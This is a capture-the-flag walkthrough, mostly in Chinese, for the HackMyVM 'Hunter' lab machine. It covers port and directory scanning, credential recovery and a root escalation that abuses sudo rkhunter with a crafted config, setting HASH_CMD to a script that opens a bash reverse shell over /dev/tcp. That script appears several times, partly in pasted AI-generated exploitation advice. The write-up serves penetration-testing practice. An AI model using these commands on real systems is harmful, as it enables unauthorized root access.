Hunter

https://hackmyvm.eu/machines/machine.php?vm=Hunter

Recon

PortScan

➜  Hunter nmap -sP 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 20:07 CST
Nmap scan report for 192.168.56.1
Host is up (0.00035s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00039s latency).
MAC Address: 08:00:27:DF:48:1B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.146
Host is up (0.00026s latency).
MAC Address: 08:00:27:22:76:87 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

➜  Hunter nmap -p- -min-rate 10000 -n -Pn -sCV 192.168.56.146
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 20:07 CST
Nmap scan report for 192.168.56.146
Host is up (0.00035s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.0 (protocol 2.0)
8080/tcp open  http    Golang net/http server
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
|   FourOhFourRequest, GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Date: Wed, 19 Nov 2025 12:08:02 GMT
|     Content-Length: 21
|     Content-Type: text/plain; charset=utf-8
|     Yes, thats a CTF :_(
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   OfficeScan:
|     HTTP/1.1 400 Bad Request: missing required Host header
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request: missing required Host header
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.95%I=7%D=11/19%Time=691DB325%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,8A,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Wed,\x2019\x20Nov\x202
SF:025\x2012:08:02\x20GMT\r\nContent-Length:\x2021\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\n\r\nYes,\x20thats\x20a\x20CTF\x20:_\(\n")%
SF:r(HTTPOptions,8A,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Wed,\x2019\x20Nov\
SF:x202025\x2012:08:02\x20GMT\r\nContent-Length:\x2021\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\n\r\nYes,\x20thats\x20a\x20CTF\x20:_\(\
SF:n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request")%r(FourOhFourRequest,8A,"HTTP/1\.0\x20200\x20OK\r\nDa
SF:te:\x20Wed,\x2019\x20Nov\x202025\x2012:08:02\x20GMT\r\nContent-Length:\
SF:x2021\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n\r\nYes,\x20t
SF:hats\x20a\x20CTF\x20:_\(\n")%r(Socks5,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(GenericLines,67,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\
SF:r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/
SF:1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charse
SF:t=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSes
SF:sionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad\x20Reque
SF:st\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20c
SF:lose\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan,A3,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request:\x20missing\x20required\x20Host\x20header\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request:\x20missing\x20required\x20Host\x20header");
MAC Address: 08:00:27:22:76:87 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.32 seconds

枚举

8080 端口

目录扫描

➜  Hunter feroxbuster --url http://192.168.56.146:8080 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --filter-status 404,503,400 -x php,txt,zip

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.146:8080
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢  Status Code Filters   │ [404, 503, 400]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, txt, zip]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET        1l        2w       13c http://192.168.56.146:8080/admin
200      GET        1l        5w       21c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        2l        4w       31c http://192.168.56.146:8080/robots.txt
204      GET        0l        0w        0c http://192.168.56.146:8080/beacon
[####################] - 51s   882184/882184  0s      found:3       errors:0      
[####################] - 51s   882180/882180  17405/s http://192.168.56.146:8080/

beacon 返回代码 204：无内容。服务器成功处理，但未返回内容。在未更新网页的情况下，可确保浏览器继续显示当前文档

➜  Hunter wget http://192.168.56.146:8080/beacon
--2025-11-19 20:16:31--  http://192.168.56.146:8080/beacon
正在连接 192.168.56.146:8080... 已连接。
已发出 HTTP 请求，正在等待回应... 204 No Content
2025-11-19 20:16:31 (0.00 B/s) - “beacon” 已保存 [0]

robots.txt

按照 robots 文件说的存在 admin ，提示 Invalid JWT

这里应该是要模拟JWT？但是没有任何信息，也没有任何带有JWT的包

尝试将包改为 POST 请求后，从返回包中能得到一组凭据：hunterman:thisisnitriilcisi

能通过 SSH 登录进去

提权

Got huntergirl

登录上去后，能发现还有一个用户 huntergirl

hunter:~$ ls /home
huntergirl  hunterman

上传了 linpeas 但是没有找到什么新东西

后面发现 robots.txt 文件和在web 上看的不太一样，里面是 huntergirl 的凭据

hunter:/var/www/html$ ls
admin       beacon      index       robots.txt
hunter:/var/www/html$ cat robots.txt 
h u n t e r g i r l:fickshitmichini

Got root

查看 sudo 权限

hunter:~$ sudo -l
Matching Defaults entries for huntergirl on hunter:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for huntergirl:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User huntergirl may run the following commands on hunter:
    (root) NOPASSWD: /usr/local/bin/rkhunter

查看是啥玩意

hunter:~$ sudo /usr/local/bin/rkhunter -V
Rootkit Hunter 1.4.6

This software was developed by the Rootkit Hunter project team.
Please review your rkhunter configuration files before using.
Please review the documentation before posting bug reports or questions.
To report bugs, provide patches or comments, please go to:
http://rkhunter.sourceforge.net

To ask questions about rkhunter, please use the rkhunter-users mailing list.
Note this is a moderated list: please subscribe before posting.

Rootkit Hunter comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it under the
terms of the GNU General Public License. See the LICENSE file for details.

一款适用于符合 POSIX 标准的系统的开源安全、监控和分析工具。

能发现有 configfile 参数

默认的配置文件：https://github.com/crunchsec/rkhunter/blob/master/files/rkhunter.conf

通过 AI 分析配置，能得到一些有趣的利用点，例如：SCRIPTDIR 和 HASH_CMD。

PS: SCRIPTDIR 我没有利用成功

好的，我们来分析一下这个 rkhunter.conf 配置文件，寻找在CTF场景下可以利用的提权点。

你的情景非常典型：

拥有权限：可以以 root 身份执行 rkhunter。
控制配置：可以使用 --configfile 或 -c 参数指定一个你可写的配置文件。
目标：通过修改配置，让 rkhunter 在执行时运行你的恶意代码，从而获得一个 root shell。
rkhunter 是一个安全扫描工具，它会调用大量的系统命令、脚本和外部程序来完成检查。这正是我们的机会所在。如果我们可以控制它调用的命令或脚本的路径，就可以实现任意代码执行。

以下是配置文件中几个最关键、最容易利用的提权点，按照成功率和简易度排序：

1. SCRIPTDIR (最高优先级，最可靠)
描述：这个选项指定了 rkhunter 内部脚本所在的目录。rkhunter 严重依赖这些脚本来执行各种检查。

利用方法：

在 /tmp 或其他你可写的目录下创建一个新目录，例如 /tmp/evil_scripts。
查看 rkhunter 默认的 SCRIPTDIR（通常是 /usr/local/lib/rkhunter/scripts 或类似路径），找到其中一个脚本的名字，例如 readlink.sh 或 stat.sh。
在你的 /tmp/evil_scripts 目录下创建一个同名的恶意脚本 readlink.sh。内容可以是一个反向 shell：
<BASH>
#!/bin/bash
bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
确保你的脚本有执行权限： chmod +x /tmp/evil_scripts/readlink.sh。
创建一个你的配置文件，例如 /tmp/evil.conf，内容如下：
<INI>
# /tmp/evil.conf
SCRIPTDIR=/tmp/evil_scripts
启动你的 netcat 监听器： nc -lvnp YOUR_PORT。
以 root 身份执行 rkhunter，并指定你的配置文件：
<BASH>
sudo rkhunter --configfile /tmp/evil.conf --check
当 rkhunter 尝试使用 readlink.sh 脚本时，它会执行你的恶意版本，你就能收到一个 root shell。
2. HASH_CMD (非常可靠)
描述：这个选项定义了用于文件属性哈希检查的命令。rkhunter 会在进行文件完整性校验时执行这个命令。

利用方法：

创建一个恶意脚本，例如 /tmp/revshell.sh，内容为反向 shell。
<BASH>
#!/bin/bash
bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
给予执行权限： chmod +x /tmp/revshell.sh。
创建你的配置文件 /tmp/evil.conf，内容如下：
<INI>
# /tmp/evil.conf
HASH_CMD=/tmp/revshell.sh
启动监听器 nc -lvnp YOUR_PORT。
执行 rkhunter。为了确保哈希检查一定会被触发，可以运行属性更新命令：
<BASH>
sudo rkhunter --configfile /tmp/evil.conf --propupd
或者直接进行检查：
<BASH>
sudo rkhunter --configfile /tmp/evil.conf --check
当文件属性检查开始时，rkhunter 就会执行 /tmp/revshell.sh，给你一个 root shell。

但是一直会报错，提示找不到路径问价不存在之类的报错

分析一波后，配置文件需要如下参数：

TMPDIR: 临时文件目录
DBDIR: 数据库目录
SCRIPTDIR: 脚本目录
LOGFILE: 日志文件路径
INSTALLDIR: 安装目录

好的，这是一个非常详细的 rkhunter.conf 配置文件。分析这个文件并回答“最少需要哪些参数？”这个问题，可以从两个层面来理解：

技术上的最少参数：让 rkhunter 能够成功运行的绝对最小值。
实践中的最少参数：为了让 rkhunter 变得实用、有效，并且不会产生大量误报，推荐配置的最少参数集。
很明显，第二个层面更有意义。

层面一：技术上的最少参数
从技术角度讲，如果 rkhunter 是通过包管理器（如 apt 或 yum）正确安装的，你几乎不需要修改任何参数。安装脚本通常会正确设置以下关键路径：

TMPDIR: 临时文件目录
DBDIR: 数据库目录
SCRIPTDIR: 脚本目录
LOGFILE: 日志文件路径
INSTALLDIR: 安装目录

根据最小参数编写配置文件，参数就用默认的配置文件里面的

INSTALLDIR=/usr/local
TMPDIR=/var/lib/rkhunter/tmp
DBDIR=/var/lib/rkhunter/db
SCRIPTDIR=/usr/local/lib/rkhunter/scripts
LOGFILE=/var/log/rkhunter.log
HASH_CMD=/tmp/revshell.sh

最后的流程：

首先开启监听

echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.6/1234 0>&1'" > /tmp/revshell.sh

cat > /tmp/evil.conf << EOF
INSTALLDIR=/usr/local
TMPDIR=/var/lib/rkhunter/tmp
DBDIR=/var/lib/rkhunter/db
SCRIPTDIR=/usr/local/lib/rkhunter/scripts
LOGFILE=/var/log/rkhunter.log
HASH_CMD=/tmp/revshell.sh
EOF

sudo /usr/local/bin/rkhunter --configfile /tmp/evil.conf --propupd

HackMyVM - Hunter